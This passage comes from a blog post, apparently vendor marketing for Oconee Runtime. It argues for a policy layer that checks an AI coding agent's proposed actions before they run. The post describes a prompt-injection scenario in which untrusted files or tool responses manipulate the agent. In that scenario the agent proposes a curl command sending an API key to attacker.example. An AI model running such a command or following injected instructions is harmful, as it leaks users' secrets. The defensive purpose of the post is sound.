&lt;p&gt;But that can’t be the entire security architecture.&lt;/p&gt;

&lt;p&gt;Imagine the developer asks:&lt;/p&gt;

&lt;p&gt;“Remove all obsolete deployment resources.”&lt;/p&gt;

&lt;p&gt;Nothing malicious there.&lt;/p&gt;

&lt;p&gt;The agent decides that a particular production resource is obsolete.&lt;/p&gt;

&lt;p&gt;It’s wrong.&lt;/p&gt;

&lt;p&gt;No prompt injection occurred.&lt;/p&gt;

&lt;p&gt;No attacker was involved.&lt;/p&gt;

&lt;p&gt;No jailbreak happened.&lt;/p&gt;

&lt;p&gt;The model simply misunderstood the environment.&lt;/p&gt;

&lt;p&gt;Prompt filtering has nothing meaningful to detect.&lt;/p&gt;

&lt;p&gt;Yet the proposed action can still be dangerous.&lt;/p&gt;

&lt;p&gt;The same thing can happen because of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;hallucination;&lt;/li&gt;
&lt;li&gt;ambiguous instructions;&lt;/li&gt;
&lt;li&gt;stale context;&lt;/li&gt;
&lt;li&gt;incorrect reasoning;&lt;/li&gt;
&lt;li&gt;incorrect tool selection;&lt;/li&gt;
&lt;li&gt;software bugs;&lt;/li&gt;
&lt;li&gt;unexpected system state;&lt;/li&gt;
&lt;li&gt;excessive permissions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s why the security control should evaluate the action, not merely the reason the model arrived at it.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;Prompt Injection Makes the Problem Worse&lt;/p&gt;

&lt;p&gt;Now add untrusted context.&lt;/p&gt;

&lt;p&gt;A developer asks:&lt;/p&gt;

&lt;p&gt;“Investigate this issue and implement the fix.”&lt;/p&gt;

&lt;p&gt;The agent starts researching.&lt;/p&gt;

&lt;p&gt;It reads:&lt;/p&gt;

&lt;p&gt;README.md&lt;/p&gt;

&lt;p&gt;Then:&lt;/p&gt;

&lt;p&gt;issue #481&lt;/p&gt;

&lt;p&gt;Then external documentation.&lt;/p&gt;

&lt;p&gt;Then an MCP tool response.&lt;/p&gt;

&lt;p&gt;One of those sources contains instructions designed to manipulate the agent.&lt;/p&gt;

&lt;p&gt;The original user prompt was safe.&lt;/p&gt;

&lt;p&gt;But the agent’s context no longer consists solely of trusted instructions.&lt;/p&gt;

&lt;p&gt;If the manipulated agent subsequently proposes:&lt;/p&gt;

&lt;p&gt;curl -d "$API_KEY" &lt;a href="https://attacker.example" rel="noopener noreferrer"&gt;https://attacker.example&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;detecting the malicious input would obviously be useful.&lt;/p&gt;

&lt;p&gt;But there’s another opportunity to stop the attack:&lt;/p&gt;

&lt;p&gt;Agent proposes outbound transmission&lt;br&gt;
            ↓&lt;br&gt;
Runtime policy evaluates action&lt;br&gt;
            ↓&lt;br&gt;
Sensitive credential detected&lt;br&gt;
+&lt;br&gt;
Unapproved external destination&lt;br&gt;
            ↓&lt;br&gt;
BLOCK&lt;/p&gt;

&lt;p&gt;This is defense in depth.&lt;/p&gt;

&lt;p&gt;You try to stop the malicious instruction from influencing the model.&lt;/p&gt;

&lt;p&gt;But you also assume that sometimes it will.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;Control the Sink, Not Just the Source&lt;/p&gt;

&lt;p&gt;A useful way to reason about this is in terms of sources and sinks.&lt;/p&gt;

&lt;p&gt;A source gives untrusted information an opportunity to influence an agent.&lt;/p&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;p&gt;Web page&lt;br&gt;
README&lt;br&gt;
Issue&lt;br&gt;
Email&lt;br&gt;
Document&lt;br&gt;
MCP response&lt;br&gt;
Database record&lt;br&gt;
Code comment&lt;/p&gt;

&lt;p&gt;A sink is a capability that becomes dangerous when manipulated.&lt;/p&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;p&gt;Shell execution&lt;br&gt;
File modification&lt;br&gt;
Network request&lt;br&gt;
Git push&lt;br&gt;
Credential access&lt;br&gt;
API call&lt;br&gt;
Database mutation&lt;br&gt;
Cloud operation&lt;br&gt;
MCP invocation&lt;/p&gt;

&lt;p&gt;Agent security needs controls around both.&lt;/p&gt;

&lt;p&gt;Trying to eliminate every possible malicious source becomes increasingly difficult as agents consume more context.&lt;/p&gt;

&lt;p&gt;Controlling consequential sinks gives you another boundary.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;Put Policy Between Intention and Execution&lt;/p&gt;

&lt;p&gt;A stronger execution path looks like this:&lt;/p&gt;

&lt;p&gt;Prompt&lt;br&gt;
   ↓&lt;br&gt;
Model&lt;br&gt;
   ↓&lt;br&gt;
Agent&lt;br&gt;
   ↓&lt;br&gt;
Proposed Action&lt;br&gt;
   ↓&lt;br&gt;
┌──────────────────────────┐&lt;br&gt;
│ Runtime Policy           │&lt;br&gt;
│                          │&lt;br&gt;
│ Identity                 │&lt;br&gt;
│ Action                   │&lt;br&gt;
│ Resource                 │&lt;br&gt;
│ Context                  │&lt;br&gt;
│ Environment              │&lt;br&gt;
│ Risk                     │&lt;br&gt;
└────────────┬─────────────┘&lt;br&gt;
             ↓&lt;br&gt;
 ALLOW / WARN / APPROVE / BLOCK&lt;br&gt;
             ↓&lt;br&gt;
           Tool&lt;br&gt;
             ↓&lt;br&gt;
         Execution&lt;/p&gt;

&lt;p&gt;That creates a deterministic security boundary around a probabilistic system.&lt;/p&gt;

&lt;p&gt;The model can reason.&lt;/p&gt;

&lt;p&gt;The model can plan.&lt;/p&gt;

&lt;p&gt;The model can recommend.&lt;/p&gt;

&lt;p&gt;But it doesn’t automatically get the final word on authorization.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;Human Approval Still Has a Role&lt;/p&gt;

&lt;p&gt;This doesn’t mean putting a confirmation dialog in front of every command.&lt;/p&gt;

&lt;p&gt;That would make agents unbearable to use.&lt;/p&gt;

&lt;p&gt;Authorization should be proportional to risk.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;p&gt;read_file(src/example.ts)&lt;br&gt;
→ ALLOW&lt;br&gt;
run_test()&lt;br&gt;
→ ALLOW&lt;br&gt;
install_dependency(new-package)&lt;br&gt;
→ WARN&lt;br&gt;
push_to_main()&lt;br&gt;
→ REQUIRE_APPROVAL&lt;br&gt;
read_production_secret()&lt;br&gt;
→ BLOCK&lt;br&gt;
delete_production_database()&lt;br&gt;
→ BLOCK&lt;/p&gt;

&lt;p&gt;Low-risk work remains autonomous.&lt;/p&gt;

&lt;p&gt;Higher-risk actions cross stronger boundaries.&lt;/p&gt;

&lt;p&gt;That’s how you preserve the productivity benefit without treating autonomy as unrestricted authority.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;You Also Need Evidence&lt;/p&gt;

&lt;p&gt;There’s another benefit to intercepting the action before execution.&lt;/p&gt;

&lt;p&gt;You can create a useful audit trail.&lt;/p&gt;

&lt;p&gt;Instead of merely knowing:&lt;/p&gt;

&lt;p&gt;Claude Code session started at 14:32&lt;/p&gt;

&lt;p&gt;you can reconstruct:&lt;/p&gt;

&lt;p&gt;14:32:01  Task initiated&lt;br&gt;
14:32:07  Agent read repository&lt;br&gt;
14:32:14  Agent proposed shell command&lt;br&gt;
14:32:14  Policy evaluated command&lt;br&gt;
14:32:14  Risk: HIGH&lt;br&gt;
14:32:14  Decision: REQUIRE_APPROVAL&lt;br&gt;
14:32:51  Approval granted by user&lt;br&gt;
14:32:52  Command executed&lt;br&gt;
14:32:53  Exit code: 0&lt;/p&gt;

&lt;p&gt;For security teams, that distinction is significant.&lt;/p&gt;

&lt;p&gt;You’re no longer merely logging that an AI tool was used.&lt;/p&gt;

&lt;p&gt;You’re recording:&lt;/p&gt;

&lt;p&gt;what it attempted to do,&lt;/p&gt;

&lt;p&gt;where it attempted to do it,&lt;/p&gt;

&lt;p&gt;which policy applied,&lt;/p&gt;

&lt;p&gt;what decision was made,&lt;/p&gt;

&lt;p&gt;and potentially what happened afterward.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;This Is the Boundary We’re Building Around in Oconee Runtime&lt;/p&gt;

&lt;p&gt;This execution boundary is one of the problems we’re working on with Oconee Runtime.&lt;/p&gt;

&lt;p&gt;The basic model is:&lt;/p&gt;

&lt;p&gt;AI Agent&lt;br&gt;
   ↓&lt;br&gt;
Proposed Action&lt;br&gt;
   ↓&lt;br&gt;
Oconee Runtime&lt;br&gt;
   ↓&lt;br&gt;
Policy + Identity + Resource + Context + Risk&lt;br&gt;
   ↓&lt;br&gt;
ALLOW | WARN | REQUIRE APPROVAL | BLOCK&lt;br&gt;
   ↓&lt;br&gt;
Execution&lt;br&gt;
   ↓&lt;br&gt;
Evidence&lt;/p&gt;

&lt;p&gt;The objective isn’t to prevent AI agents from doing useful work.&lt;/p&gt;

&lt;p&gt;It’s the opposite.&lt;/p&gt;

&lt;p&gt;If we’re going to give agents increasingly powerful tools, we need a way to give them capability without automatically giving them unrestricted authority.&lt;/p&gt;

&lt;p&gt;That distinction becomes increasingly important as coding agents move from:&lt;/p&gt;

&lt;p&gt;"Here's the command you could run."&lt;/p&gt;

&lt;p&gt;to:&lt;/p&gt;

&lt;p&gt;"I ran it."&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;The Missing Milliseconds Matter&lt;/p&gt;

&lt;p&gt;When we think about AI-agent security, it’s natural to focus on the model.&lt;/p&gt;

&lt;p&gt;Was the prompt malicious?&lt;/p&gt;

&lt;p&gt;Was the model manipulated?&lt;/p&gt;

&lt;p&gt;Was the response safe?&lt;/p&gt;

&lt;p&gt;Those questions matter.&lt;/p&gt;

&lt;p&gt;But there’s another security boundary worth paying attention to:&lt;/p&gt;

&lt;p&gt;The moment after an agent decides what it wants to do and before the system actually does it.&lt;/p&gt;

&lt;p&gt;Those milliseconds create an opportunity to:&lt;/p&gt;

&lt;p&gt;authenticate&lt;/p&gt;

&lt;p&gt;authorize&lt;/p&gt;

&lt;p&gt;evaluate context&lt;/p&gt;

&lt;p&gt;apply policy&lt;/p&gt;

&lt;p&gt;require approval&lt;/p&gt;

&lt;p&gt;block dangerous operations&lt;/p&gt;

&lt;p&gt;record evidence&lt;/p&gt;

&lt;p&gt;before intention becomes execution.&lt;/p&gt;

&lt;p&gt;The broader principle is simple:&lt;/p&gt;

&lt;p&gt;Never let the agent be its own security boundary.&lt;/p&gt;

&lt;p&gt;The model proposes.&lt;/p&gt;

&lt;p&gt;The security layer decides.&lt;/p&gt;

&lt;p&gt;And only then should the system act.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;About Oconee Runtime&lt;/p&gt;

&lt;p&gt;Oconee Runtime is an enterprise AI governance platform designed to help organizations see and control what AI tools and agents actually do. Runtime applies context-aware policy to AI-assisted activity and provides enforcement and auditability across supported workflows.&lt;/p&gt;

&lt;p&gt;Learn more → &lt;a href="https://www.oconeeruntime.com/" rel="noopener noreferrer"&gt;[OCONEE RUNTIME LINK]&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>programming</category>
    </item>
  </channel>
</rss>
